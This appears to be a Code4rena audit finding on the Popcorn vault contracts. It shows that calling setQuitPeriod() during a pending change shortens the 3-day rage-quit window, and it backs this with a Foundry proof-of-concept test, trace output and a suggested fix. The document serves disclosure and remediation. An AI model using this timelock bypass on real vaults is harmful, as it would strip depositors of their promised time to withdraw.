Popcorn contest - fyvgsk's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L594-L596 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L540-L542 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L629-L636

Vulnerability details

Impact

There is a default period of 3 days in quitPeriod for users to withdraw funds from Vault in case of a change in fees or adapter.

When any of these changes are proposed in proposeAdapter() or proposeFees(), the block.timestamp is stored in proposedAdapterTime.

When changeFees() or changeAdapter() are called, the actual block.timestamp is checked against the proposedAdapterTime + quitPeriod to determine if the time required to make the change has elapsed.

It is possible to modify the quitPeriod during the actual "rage quit period" to accelerate and approve the change of fees or adapter earlier than expected by calling setQuitPeriod() function.

Proof of Concept

The steps to replicate this vulnerability are listed below:

 1 - create a new adapter/fee
 2 - propose this new adapter/fee (the waiting time required to set the new adapter/fee is 3 days by default)
 3 - wait 1 day
 4 - modify the `quitPeriod` to 1 day, so the new adapter/fee could be set right now
 5 - call `changeFees()` or `changeAdapter()` to set the new adapter/fee without waiting for the supposed "rage quitting" time

function test__changeAdapter() public {
    
    MockERC4626 newAdapter = new MockERC4626(IERC20(address(asset)), "Mock Token Vault", "vwTKN");

    // Deposit funds
    asset.mint(alice, 1 ether);
    vm.startPrank(alice);
    asset.approve(address(vault), 1 ether);
    vault.deposit(1 ether, alice);
    vm.stopPrank();
    
    //proposing new adapter
    vault.proposeAdapter(IERC4626(address(newAdapter)));

    //default quitPeriod is 3 days. Skip just 1 day
    vm.warp(block.timestamp + 1 days);

    //setting new quitPeriod to 1 day
    vault.setQuitPeriod(1 days);

    //adapter can be changed earlier than expected
    vault.changeAdapter();
  }

Output:

 >$ forge test --match-contract VaultTestingTest --match-test test__changeAdapter -vvvv
[⠰] Compiling...
No files changed, compilation skipped

Running 1 test for test/vault/vaultTesting.t.sol:VaultTestingTest
[PASS] test__changeAdapter() (gas: 1686076)
Traces:
  [1686076] Vault2Test::test__changeAdapter()

[..SNIPPED..]

    ├─ [49067] vault::proposeAdapter(MockERC4626: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9])
    │   ├─ [284] MockERC4626::asset() [staticcall]
    │   │   └─ ← MockERC20: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]
    │   ├─ emit NewAdapterProposed(newAdapter: MockERC4626: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], timestamp: 1)
    │   └─ ← ()
    ├─ [0] VM::warp(86401)
    │   └─ ← ()
    ├─ [6609] vault::setQuitPeriod(86400)
    │   ├─ emit QuitPeriodSet(quitPeriod: 86400)
    │   └─ ← ()
    ├─ [160978] vault::changeAdapter()

[..SNIPPED..]

    │   │   └─ ← 1000000000000000000
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 1.64ms

Tools Used

Manual testing

Recommended Mitigation Steps

IT is recommended to update the proposedAdapterTime variablewhen calling setQuitPeriod() function.